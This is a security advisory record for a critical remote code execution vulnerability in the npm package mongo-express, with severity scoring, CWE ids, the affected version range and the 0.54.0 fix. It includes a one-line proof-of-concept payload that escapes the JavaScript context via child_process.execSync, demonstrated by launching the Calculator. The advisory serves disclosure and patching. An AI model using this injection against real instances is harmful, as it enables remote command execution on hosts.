GHSA-h47j-hc6x-h3qq

Suggest an improvement
Source
https://github.com/advisories/GHSA-h47j-hc6x-h3qq
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2019/12/GHSA-h47j-hc6x-h3qq/GHSA-h47j-hc6x-h3qq.json
JSON Data
https://api.test.osv.dev/v1/vulns/GHSA-h47j-hc6x-h3qq
Aliases
Published
2019-12-30T19:30:31Z
Modified
2025-10-22T17:44:59Z
Severity
  • 9.9 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:H CVSS Calculator
Summary
Remote Code Execution Vulnerability in NPM mongo-express
Details

Impact

Remote code execution on the host machine by any authenticated user.

Proof Of Concept

Launching mongo-express on a Mac, pasting the following into the "create index" field will pop open the Mac calculator:

this.constructor.constructor("return process")().mainModule.require('child_process').execSync('/Applications/Calculator.app/Contents/MacOS/Calculator')

Patches

Users should upgrade to version 0.54.0

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

For more information

If you have any questions or comments about this advisory: * Open an issue in example link to repo * Email us at example email address

Thanks

@JLLeitschuh for finding and reporting this vulnerability

This vulnerability has been exploited in the wild.

Database specific
{
    "github_reviewed": true,
    "cwe_ids": [
        "CWE-78",
        "CWE-94"
    ],
    "severity": "CRITICAL",
    "nvd_published_at": "2019-12-24T22:15:11Z",
    "github_reviewed_at": "2019-12-30T19:29:02Z"
}
References

Affected packages

npm / mongo-express

Package

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
0.54.0

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2019/12/GHSA-h47j-hc6x-h3qq/GHSA-h47j-hc6x-h3qq.json"